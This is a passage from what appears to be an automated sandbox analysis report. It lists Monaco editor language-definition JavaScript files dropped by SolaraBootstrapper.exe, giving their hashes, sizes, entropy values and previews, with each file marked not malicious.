SHA-256:	4E376A8005C85FB5BDDE94F900920A29FAAA2735A9ED9CA2F9E28ABEF231FED0
SHA-512:	EA96B33067A960F44065F8A004182C4A12285CAE4D23D038CFF804C45ECC148913481FDEF704E324DA8A344792CBF1745F77079585622246FCCCFEA002172E6A
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/powershell/powershell", ["require","require"],(require)=>{.var moduleExports=(()=>{var o=Object.defineProperty;var r=Object.getOwnPropertyDescriptor;var i=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var c=(n,e)=>{for(var t in e)o(n,t,{get:e[t],enumerable:!0})},g=(n,e,t,a)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let s of i(e))!l.call(n,s)&&s!==t&&o(n,s,{get:()=>e[s],enumerable:!(a=r(e,s))\|\|a.enumerable});return n};var p=n=>g(o({},"__esModule",{value:!0}),n);var u={};c(u,{conf:()=>d,language:()=>m});var d={wordPattern:/(-?\d\.\d\w)\|(

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\protobuf\protobuf.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (8409)
Category:	dropped
Size (bytes):	9877
Entropy (8bit):	5.223671892936882
Encrypted:	false
SSDEEP:	96:pQFDHnYRsy+/EgrbV1+h/cV1+hKcYq1cDPLITM4sV7Mu2hu2nS6jXBXFRWX4f6+G:G9YcrTNeOITRS6LxFRwWLkqMhGXO
MD5:	3D70B74FED0C171EE216597E497CCBA5
SHA1:	0939E92B22CAD0626FA8E2B50B1601F0251FE6E6
SHA-256:	6E62B15B050502ABEF7D2F721A2C395A4774BBD43E1E0B0B02DA2129BA8F663F
SHA-512:	78D664666A71B0CB65A6C15983684EB583DF005CAB0558F06AE073F4AFEF5F35260DDE6D8B7B3ADA30F7FC0A1DA467EEFFA4279FF9E14147C5FE960AA8407E1A
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/protobuf/protobuf", ["require","require"],(require)=>{.var moduleExports=(()=>{var o=Object.defineProperty;var r=Object.getOwnPropertyDescriptor;var c=Object.getOwnPropertyNames;var a=Object.prototype.hasOwnProperty;var p=(t,e)=>{for(var i in e)o(t,i,{get:e[i],enumerable:!0})},d=(t,e,i,s)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of c(e))!a.call(t,n)&&n!==i&&o(t,n,{get:()=>e[n],enumerable:!(s=r(e,n))\|\|s.enumerable});return t};var l=t=>d(o({},"__esModule",{value:!0}),t);var m={};p(m,{conf:()=>u,language:()=>f});var k=["true","false"],u={comments:{line

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\pug\pug.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (5150)
Category:	dropped
Size (bytes):	5649
Entropy (8bit):	5.178070019328666
Encrypted:	false
SSDEEP:	96:pQFDHnYRs6+/EJ3oreqgq+q+q1UcmFIfnzvN0EJ40LW+LmlgKGJ6V0+piF6ywZ6r:G9YFYrjUxQvKgK2boV0YivwZ6e3Ab
MD5:	E84EEEF7AFCD1C54564DBF844DEF865C
SHA1:	9CCF2F8C6590A548B71AB58FA0FF578273237437
SHA-256:	7989C74CE5C72ED5559103A4289E3D8C67387D552A12E5495CA186D7D5985960
SHA-512:	4050084FC983304D636599C521470A645E9C28E433E89DC24026DA2A5C4DF3354135AD22EAC6C15D35A5F62B482E831F7CEB88B82C1852E6B8386054EDC10CC1
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/pug/pug", ["require","require"],(require)=>{.var moduleExports=(()=>{var a=Object.defineProperty;var i=Object.getOwnPropertyDescriptor;var l=Object.getOwnPropertyNames;var r=Object.prototype.hasOwnProperty;var p=(t,e)=>{for(var o in e)a(t,o,{get:e[o],enumerable:!0})},c=(t,e,o,s)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of l(e))!r.call(t,n)&&n!==o&&a(t,n,{get:()=>e[n],enumerable:!(s=i(e,n))\|\|s.enumerable});return t};var d=t=>c(a({},"__esModule",{value:!0}),t);var g={};p(g,{conf:()=>m,language:()=>u});var m={comments:{lineComment:"//"},brackets:[["{",

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\python\python.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (4197)
Category:	dropped
Size (bytes):	4702
Entropy (8bit):	5.2574940606967395
Encrypted:	false
SSDEEP:	96:pQFDHnYRsyzYio+1/1GMna/oK65wV1+K6V1+/GDqHQ5284Ph/B0vcdBBj1dAnO2s:G9YdnOMnLK65YyCs284PLbX/GOL
MD5:	872273B250E1BEE4BE8213195AAA7B91
SHA1:	9509469FDCAD88D892851DF6E454A16822DDF279
SHA-256:	34ED9698F52C310A991ED3A9A375D0BA8D86690BBBCB488CF7ED23606AC6CA84
SHA-512:	F6B04A652ED51AF924657D367E67F6947A00C4117E376A6AAC57A6B3A304C02BCF39AB2D1D822D247A1BCA7B731E54CA0A03F1F2396A79D36968D094705DBB8F
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/python/python", ["require","require"],(require)=>{.var moduleExports=(()=>{var d=Object.create;var i=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var u=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var b=(e=>typeof require!="undefined"?require:typeof Proxy!="undefined"?new Proxy(e,{get:(n,t)=>(typeof require!="undefined"?require:n)[t]}):e)(function(e){if(typeof require!="undefined")return require.apply(this,arguments);throw new Error('Dynamic require of "'+e+'" is not supported')});var h=(e,n)=>()=>(n\|\|e((n={e

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\qsharp\qsharp.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3257)
Category:	dropped
Size (bytes):	3762
Entropy (8bit):	5.163659967447653
Encrypted:	false
SSDEEP:	96:pQFDHnYRsf+/E2rPV1+GV1+PbHX8VWTJ7CORzvH/J6VbjtBYQx:G9YhrH/O38VyJjRz34zJ
MD5:	5736E6CB5E34939249F68B8F5E3D3F6A
SHA1:	B4E33C09626172373926FF9FB29F2F4DDF3ED2E6
SHA-256:	85E681ADF56A9813AB1A514DDDEA17B919ED48AE07C4A564703619F93DCA0D78
SHA-512:	4D254E3E928A0AAC000A2D87B58C1F2963F20813D397F159FB81002CD14F2E7A4F2EF8D381097D979808991E1026572A8331966CAFC199B8549867D60B2B235B
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/qsharp/qsharp", ["require","require"],(require)=>{.var moduleExports=(()=>{var a=Object.defineProperty;var i=Object.getOwnPropertyDescriptor;var r=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var c=(t,e)=>{for(var n in e)a(t,n,{get:e[n],enumerable:!0})},u=(t,e,n,s)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let o of r(e))!l.call(t,o)&&o!==n&&a(t,o,{get:()=>e[o],enumerable:!(s=i(e,o))\|\|s.enumerable});return t};var p=t=>u(a({},"__esModule",{value:!0}),t);var m={};c(m,{conf:()=>d,language:()=>g});var d={comments:{lineComment:"//"},brackets:

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\r\r.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3453)
Category:	dropped
Size (bytes):	3948
Entropy (8bit):	5.238735035874947
Encrypted:	false
SSDEEP:	96:pQFDHnYRsCrK+/EhpUmV1+IV1+38O1hG6URj1AAEvTUTfBprOJ:G9Yzrkaij49ne5STUT5lI
MD5:	81ADC67747B5678D3F30F7F42FC698F5
SHA1:	21F5E748FDA662EE15595AFB9A313AB446D97949
SHA-256:	0DB30B3566ED90BE1D37712CB86E40BECB27EDBF7BA1207A1487B981BC8E7F61
SHA-512:	8EDA53B44E7337CC83FE8B419DFF2BA16FE13D1B68B6E0FBD969EE60C088607B4DA41B75C2DC45CBE43EBFF8F999642BDA278CF0F31F2F68F24B92E9F3C37C5F
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/r/r", ["require","require"],(require)=>{.var moduleExports=(()=>{var a=Object.defineProperty;var s=Object.getOwnPropertyDescriptor;var i=Object.getOwnPropertyNames;var c=Object.prototype.hasOwnProperty;var l=(o,e)=>{for(var t in e)a(o,t,{get:e[t],enumerable:!0})},p=(o,e,t,n)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let r of i(e))!c.call(o,r)&&r!==t&&a(o,r,{get:()=>e[r],enumerable:!(n=s(e,r))\|\|n.enumerable});return o};var m=o=>p(a({},"__esModule",{value:!0}),o);var u={};l(u,{conf:()=>d,language:()=>g});var d={comments:{lineComment:"#"},brackets:[["{","}"],

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\razor\razor.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text, with very long lines (9358)
Category:	dropped
Size (bytes):	9861
Entropy (8bit):	5.358988063399747
Encrypted:	false
SSDEEP:	192:G9YzAu3n+l+y+AEld2YaW40v4Ou6e+vMHjIoQceC8TdlgzYJXO:GeX+lhpsP3zkIoQceCEPJ+
MD5:	10FAE53E31BC8FB1664154D50637F3F9
SHA1:	77D077BA152C15A59A2392FDFC91A2B514732CEE
SHA-256:	B67392D4BAEFBC48E9F0E28E661ADD4BE183BEC81016753CAC90D901A382B62F
SHA-512:	BCFEEC3FB432CA83340F79C89E8EDED344E8010725E99269AFE5AB61906DB922D923873786EB40512A115D5D14F99CDDDA8D1B065E315AC73E348D1BD052688A
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/razor/razor", ["require","require"],(require)=>{.var moduleExports=(()=>{var h=Object.create;var m=Object.defineProperty;var u=Object.getOwnPropertyDescriptor;var b=Object.getOwnPropertyNames;var k=Object.getPrototypeOf,x=Object.prototype.hasOwnProperty;var y=(t=>typeof require!="undefined"?require:typeof Proxy!="undefined"?new Proxy(t,{get:(e,r)=>(typeof require!="undefined"?require:e)[r]}):t)(function(t){if(typeof require!="undefined")return require.apply(this,arguments);throw new Error('Dynamic require of "'+t+'" is not supported')});var T=(t,e)=>()=>(e\|\|t((e={exp

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\redis\redis.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3878)
Category:	dropped
Size (bytes):	4381
Entropy (8bit):	5.551929224886789
Encrypted:	false
SSDEEP:	96:pQFDHnYRsCdD6/kCfV1+/0V1+/F1c3kdKsTjuMZF/OmfEjac0pPGKP9XSC1U/R:G9YzdD+XxOc3kIsuM//OmMD0pP19Cj/R
MD5:	0082F32DA6EEE980F29419DF4FEF2268
SHA1:	2AA41D8EB8F47DB04C64AF943ACFB02A86BB69D3
SHA-256:	805FA3F57140F854AAE63C1312187DB390206978C922E1527190206DB207963A
SHA-512:	980F93869F3B25671DF8D1E544C50E31F8F85E8500039CE2AF8658F1D01DB12611E1D95112A39D5494DFD1D1033CFAE8C81244A2B89089C7310C2B55B9516ECB
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/redis/redis", ["require","require"],(require)=>{.var moduleExports=(()=>{var R=Object.defineProperty;var n=Object.getOwnPropertyDescriptor;var N=Object.getOwnPropertyNames;var s=Object.prototype.hasOwnProperty;var A=(S,E)=>{for(var T in E)R(S,T,{get:E[T],enumerable:!0})},O=(S,E,T,o)=>{if(E&&typeof E=="object"\|\|typeof E=="function")for(let e of N(E))!s.call(S,e)&&e!==T&&R(S,e,{get:()=>E[e],enumerable:!(o=n(E,e))\|\|o.enumerable});return S};var L=S=>O(R({},"__esModule",{value:!0}),S);var r={};A(r,{conf:()=>I,language:()=>i});var I={brackets:[["{","}"],["[","]"],["(",")"]

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\redshift\redshift.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (12122)
Category:	dropped
Size (bytes):	12631
Entropy (8bit):	5.09339099587543
Encrypted:	false
SSDEEP:	192:G9Yz1dLxaLQ7l23dDC5QPsHoa2WMrtSCV0bPjNQoMyIG6r9TjasF:GGdLxaI6+MJ/WfCuFQobIGe9/asF
MD5:	8FE8B5C56FBAFF23F0BE14BDFFFAFE85
SHA1:	E61DCB51E444870EA46A4B28D71F46A952EC5B4C
SHA-256:	B1BD4C4D566B0D0688803F8B13ECC667C299100AB45C3F187B85906446F4EB65
SHA-512:	2F229CD5B052DE3737A790FD2A1FD7F9BC323C299D61DFAA094373289D94B43809826D9D518443A7F7F1DDD709F1C95D63D3CA37C7174381D7CF87828F23B0A7
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/redshift/redshift", ["require","require"],(require)=>{.var moduleExports=(()=>{var i=Object.defineProperty;var s=Object.getOwnPropertyDescriptor;var o=Object.getOwnPropertyNames;var n=Object.prototype.hasOwnProperty;var p=(_,e)=>{for(var r in e)i(_,r,{get:e[r],enumerable:!0})},l=(_,e,r,a)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let t of o(e))!n.call(_,t)&&t!==r&&i(_,t,{get:()=>e[t],enumerable:!(a=s(e,t))\|\|a.enumerable});return _};var g=_=>l(i({},"__esModule",{value:!0}),_);var m={};p(m,{conf:()=>c,language:()=>d});var c={comments:{lineComment:"--",blockC

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\restructuredtext\restructuredtext.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	exported SGML document, Unicode text, UTF-8 text, with very long lines (4211)
Category:	dropped
Size (bytes):	4740
Entropy (8bit):	5.48137039025458
Encrypted:	false
SSDEEP:	96:pQFDHnYRsCSb+/E4buyTV1+b+Vphj3oOCmd4h5SOak1Nq4bOIA2A2E7mGhG1O:G9Yz5bukKr40HlwHLCGE1O
MD5:	B32D67455EB80DD7CCB5991872CA931B
SHA1:	C699FA88CD66D5A12BCD72C846291B38738A88CC
SHA-256:	1D05F1659F95D61251B4EFB8F9CBBCB06652FA82F95080637FCDBDF20B5B9242
SHA-512:	DD2A550891DD84EC883FAB89197560488072EC563174DEF47F8ACB4BE918B44BC3C6404A5885E7BF82B0E089EA29633F73A879B169459B88382343ACFD2B8A86
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/restructuredtext/restructuredtext", ["require","require"],(require)=>{.var moduleExports=(()=>{var t=Object.defineProperty;var a=Object.getOwnPropertyDescriptor;var l=Object.getOwnPropertyNames;var r=Object.prototype.hasOwnProperty;var k=(n,e)=>{for(var i in e)t(n,i,{get:e[i],enumerable:!0})},c=(n,e,i,o)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let s of l(e))!r.call(n,s)&&s!==i&&t(n,s,{get:()=>e[s],enumerable:!(o=a(e,s))\|\|o.enumerable});return n};var p=n=>c(t({},"__esModule",{value:!0}),n);var g={};k(g,{conf:()=>u,language:()=>m});var u={brackets:[["{","}

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\ruby\ruby.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (8826)
Category:	dropped
Size (bytes):	9327
Entropy (8bit):	5.369061884062009
Encrypted:	false
SSDEEP:	192:G9YzLXcxki35E7BuN7GVziYlm3z9GEpWyuyG:GqcxJE7cGsj9FsvL
MD5:	344F7E809CD86EEAA00FC058B50DB8A3
SHA1:	C1B4ECA2C3DACB87D2AC2DEAD7DD6BF342C86CCA
SHA-256:	7A8F786527B3546E88C350D9B11DE0EDC801276ABC00741526407DC6859712D9
SHA-512:	CECBFF19F0DBD21EE489E3D380DB87E79CBDF17850CC78D3D9AFA3C34C47962DE93405089F911AC78D598DCFF4C7DCAD85F029EE13F9F08C8E96D5DC9E407BA8
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/ruby/ruby", ["require","require"],(require)=>{.var moduleExports=(()=>{var o=Object.defineProperty;var i=Object.getOwnPropertyDescriptor;var c=Object.getOwnPropertyNames;var d=Object.prototype.hasOwnProperty;var p=(t,e)=>{for(var r in e)o(t,r,{get:e[r],enumerable:!0})},l=(t,e,r,s)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of c(e))!d.call(t,n)&&n!==r&&o(t,n,{get:()=>e[n],enumerable:!(s=i(e,n))\|\|s.enumerable});return t};var a=t=>l(o({},"__esModule",{value:!0}),t);var m={};p(m,{conf:()=>g,language:()=>x});var g={comments:{lineComment:"#",blockComment:["

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\rust\rust.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (4482)
Category:	dropped
Size (bytes):	4983
Entropy (8bit):	5.458249624003439
Encrypted:	false
SSDEEP:	96:pQFDHnYRsCQP+/EvZrbV1+VV1+/UNdNmlf9LJ5MnWe1l0gHL4Rtnh4d6:G9YzUZrTcEllLJ5de3R4/B
MD5:	3D36F7409A41A81012157E53CD2D3047
SHA1:	C7D2E0D1DFEDE10EB656C9A3B80F368600789098
SHA-256:	206151559B889581B3B522026A57F228CEAB4FB864747074BD80E7041CDB5BEB
SHA-512:	185F34E92BF16F18620288EF174B65934E89146B978BD06ABA4ED90DFC3AF1BEB066831D29B3745F64A3EE5F7993BE7516603A4A9CA0CD1CEE72B9ABE20EE026
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/rust/rust", ["require","require"],(require)=>{.var moduleExports=(()=>{var r=Object.defineProperty;var i=Object.getOwnPropertyDescriptor;var a=Object.getOwnPropertyNames;var c=Object.prototype.hasOwnProperty;var _=(t,e)=>{for(var n in e)r(t,n,{get:e[n],enumerable:!0})},u=(t,e,n,s)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let o of a(e))!c.call(t,o)&&o!==n&&r(t,o,{get:()=>e[o],enumerable:!(s=i(e,o))\|\|s.enumerable});return t};var l=t=>u(r({},"__esModule",{value:!0}),t);var m={};_(m,{conf:()=>f,language:()=>p});var f={comments:{lineComment:"//",blockComment:[

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\sb\sb.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2151)
Category:	dropped
Size (bytes):	2648
Entropy (8bit):	5.363920113872401
Encrypted:	false
SSDEEP:	48:pQFDHn43tZRs+db+/EhHCIVJ1JFq11FqQ4gVgN88KEqWgdctA0Ve+S:pQFDHnYRs+9+/EwIVTq17qcEQRW6PP
MD5:	511D54A2E20FD284F24D82C8159EC7AC
SHA1:	C21812858BE2E3E801E26DDA8CFE6AFE6AD6FF04
SHA-256:	58001EF158DE456BB44EBE9E7616308BE4F909C99C7483EDD4DFB9D886922C41
SHA-512:	B41C3BAB81A78070A162D08AD8F2248AD9CF7B0ECD83ADBC03CB31A2949BA48463F8DF5D3E3F2652E6A49177037B555BBFFFCF6E35E124933267632EB1249168
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/sb/sb", ["require","require"],(require)=>{.var moduleExports=(()=>{var r=Object.defineProperty;var i=Object.getOwnPropertyDescriptor;var a=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var d=(o,e)=>{for(var t in e)r(o,t,{get:e[t],enumerable:!0})},c=(o,e,t,s)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of a(e))!l.call(o,n)&&n!==t&&r(o,n,{get:()=>e[n],enumerable:!(s=i(e,n))\|\|s.enumerable});return o};var g=o=>c(r({},"__esModule",{value:!0}),o);var m={};d(m,{conf:()=>p,language:()=>f});var p={comments:{lineComment:"'"},brackets:[["(",")"

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\scala\scala.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (7640)
Category:	dropped
Size (bytes):	8143
Entropy (8bit):	5.325370547890824
Encrypted:	false
SSDEEP:	96:pQFDHnYRs/f+/EO6VogRo8+rbV1+/0V1+/+iE/kMCeyjEm+npEwHFh3uUueo1tn0:G9YOW6+rTxNfnph3uUqRinU9jMWE
MD5:	98AC5351CBE9F2E6C7B31C4E8A01C929
SHA1:	E725C45B547C277C2EC837422E5241A522856E01
SHA-256:	FE4369DD35B2FE4879D63699AF578F4FC42A40154416F1F4DDA6DE8FE927D66D
SHA-512:	3B5CF93C3168D98B5904FB3853A0D70FE4A429F6917E5ECE92AE4B178CC2B421E774D8F0BA1F3605413FF637CD82C333A89EB3C399A12EB18EC2B996D30258C2
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/scala/scala", ["require","require"],(require)=>{.var moduleExports=(()=>{var n=Object.defineProperty;var s=Object.getOwnPropertyDescriptor;var i=Object.getOwnPropertyNames;var d=Object.prototype.hasOwnProperty;var l=(t,e)=>{for(var r in e)n(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let o of i(e))!d.call(t,o)&&o!==r&&n(t,o,{get:()=>e[o],enumerable:!(a=s(e,o))\|\|a.enumerable});return t};var g=t=>c(n({},"__esModule",{value:!0}),t);var m={};l(m,{conf:()=>p,language:()=>w});var p={wordPattern:/(unary_[@~!#%^&*()\-=+\\\|:

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\scheme\scheme.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2089)
Category:	dropped
Size (bytes):	2594
Entropy (8bit):	5.330108799220234
Encrypted:	false
SSDEEP:	48:pQFDHn43tZRsc+/ENHgUzX0V1+T0V1+X2ce1VS96O+FuLFpwfS8:pQFDHnYRsc+/EWU4V1+IV1+Gcezrf/
MD5:	904C018255072D30BE57176EBF34181D
SHA1:	847E581FB420AB4B7849DE81CCEE46DF026B73BC
SHA-256:	D42BE5D22975E53E1FCA77BC2250ECB59125A5C58047292BC20CBCE06F5C30D7
SHA-512:	8D5DFA9CECC2F2C34C1645D58CD514348321D9D1857CD9B693A91D71508E0E1FCE328A4F219198D228DC758CD50A9A36C31FE3314D8AF393E7574762E16635E2
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/scheme/scheme", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var r=Object.getOwnPropertyDescriptor;var i=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var c=(o,e)=>{for(var t in e)s(o,t,{get:e[t],enumerable:!0})},m=(o,e,t,a)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of i(e))!l.call(o,n)&&n!==t&&s(o,n,{get:()=>e[n],enumerable:!(a=r(e,n))\|\|a.enumerable});return o};var p=o=>m(s({},"__esModule",{value:!0}),o);var u={};c(u,{conf:()=>d,language:()=>g});var d={comments:{lineComment:";",blockCommen

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\scss\scss.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2888)
Category:	dropped
Size (bytes):	7232
Entropy (8bit):	5.15399422572643
Encrypted:	false
SSDEEP:	192:G9YgHxCN16rr9TnhPKIsuvzLPM7XALCvx:GcN16rr9TnhPKIsubL0jAO
MD5:	8A57368E1765DA56A468F242918F86B1
SHA1:	109D067C257C005C0C2ACAD6AF75DB928DF98902
SHA-256:	52EE58F53CD91A92ED0DBA2DA45FD2E692604FDB9EA4CB2F86718CC798D76399
SHA-512:	88BE39E019D259B1C034072B4BBA0186281AB13C93C0A9993D6F92B3CF6DDB7B1427DCA8997E18A0311CFA4AA23615ED2762B660FE8EB9F5000A4B835DE6A847
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/scss/scss", ["require","require"],(require)=>{.var moduleExports=(()=>{var i=Object.defineProperty;var a=Object.getOwnPropertyDescriptor;var l=Object.getOwnPropertyNames;var d=Object.prototype.hasOwnProperty;var c=(t,e)=>{for(var o in e)i(t,o,{get:e[o],enumerable:!0})},m=(t,e,o,r)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of l(e))!d.call(t,n)&&n!==o&&i(t,n,{get:()=>e[n],enumerable:!(r=a(e,n))\|\|r.enumerable});return t};var s=t=>m(i({},"__esModule",{value:!0}),t);var k={};c(k,{conf:()=>u,language:()=>p});var u={wordPattern:/(#?-?\d\.\d\w%?)\|([@$#!.:]

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\shell\shell.js

Download File

Process:	C:\ProgramData\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3395)
Category:	dropped
Size (bytes):	3898
Entropy (8bit):	5.293677593120131
Encrypted:	false
SSDEEP:	96:pQFDHnYRsC+/EzomV1+/mQcV1+/mQ/jAMMBU68OZQNlGNTQABZ7/T:G9YEi1x1wjIUQVNTJrr
MD5:	367A05692CC27DA3D92FBE6228D413B1
SHA1:	1C30902AD99E2B11A60D77586941C3F51B679978
